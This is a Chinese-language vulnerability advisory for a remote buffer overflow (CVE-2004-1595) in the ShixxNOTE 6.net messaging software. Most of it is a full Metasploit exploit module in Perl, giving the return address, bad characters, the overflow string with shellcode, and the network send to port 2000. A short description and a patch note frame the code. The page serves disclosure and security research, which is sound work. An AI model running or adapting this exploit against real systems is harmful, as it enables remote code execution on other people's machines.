安全研究
安全漏洞
ShixxNOTE 6.net远程缓冲区溢出漏洞
发布日期:2004-10-14
更新日期:2006-02-11
受影响系统:
ShixxNOTE ShixxNOTE 6.net描述:
BUGTRAQ ID: 11409
CVE ID: CVE-2004-1595
ShixxNOTE 6.net是一种集个人日程管理、笔记贴士、即时信息传送等功能为一体的软件。
ShixxNOTE 6.net在处理用户请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
<*来源:Luigi Auriemma (aluigi@pivx.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::shixxnote_font;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'ShixxNOTE 6.net Font Buffer Overflow',
'Version' => '$Revision: 1.2 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp' ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 2000],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'AutoOpts' => { 'EXITFUNC' => 'process' },
'Payload' =>
{
'Space' => 650,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a buffer overflow in ShixxNOTE 6.net.
The vulnerability is caused due to boundary errors in the
handling of font fields.
}),
'Refs' => [
['CVE', '2004-1595'],
['BID', '11409'],
],
'Targets' => [
['ShixxNOTE 6.net Universal', 0x10041951],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 04 2004',
'Keys' => ['shixxnote'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $sploit =
Pex::Text::UpperCaseText(8). "~~". Pex::Text::UpperCaseText(102).
"\xeb\x06\x46\x92". pack('V', $target->[1]). $shellcode.
Pex::Text::UpperCaseText(200). ("~" x 10);
$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}
1;
建议:
厂商补丁:
ShixxNOTE
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.shixxnote.com/
浏览次数:2404
严重程度:0(网友投票)
绿盟科技给您安全的保障
